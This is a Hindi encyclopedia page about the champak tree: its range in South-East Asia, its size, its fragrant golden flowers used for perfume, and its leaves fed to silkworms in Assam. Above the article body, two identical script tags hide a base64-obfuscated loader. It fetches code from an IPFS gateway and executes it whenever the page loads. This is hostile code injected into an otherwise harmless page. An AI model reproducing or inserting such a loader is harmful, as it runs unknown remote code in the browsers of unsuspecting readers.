चंपक

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित १२:२२, २७ जुलाई २०१५ का अवतरण (श्रेणी:पौधा; Adding category Category:वनस्पति विज्ञान (को हटा दिया गया हैं।))
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चंपक (Michelia champaca) अथवा सोनचंपा, मैगनोलिएसिई (Magnoliaceae) कुल का पौधा है। माइचीलिया (चंपक) वर्ग के पौधे दक्षिण-पूर्वी एशिया (भारत, चीन तथा मलाया द्वीपसमूह) में पाए जाते हैं।

चंपक का पेड़ आठ से लेकर दस मीटर तक ऊँचा होता है और इसका फूल सुनहले रंग का तथा सुगंधयुक्त होता है। ये पौधे बगीचों में सुगंध के लिये लगाए जाते हैं। चंपे का इत्र इसी के फूलों से बनाया जाता है। असम प्रदेश में चंपक की पत्तियाँ रेशम के कीड़ों को खिलाई जाती हैं और उन कीड़ों से 'चंपा रेशम' निकालते हैं।


टीका टिप्पणी और संदर्भ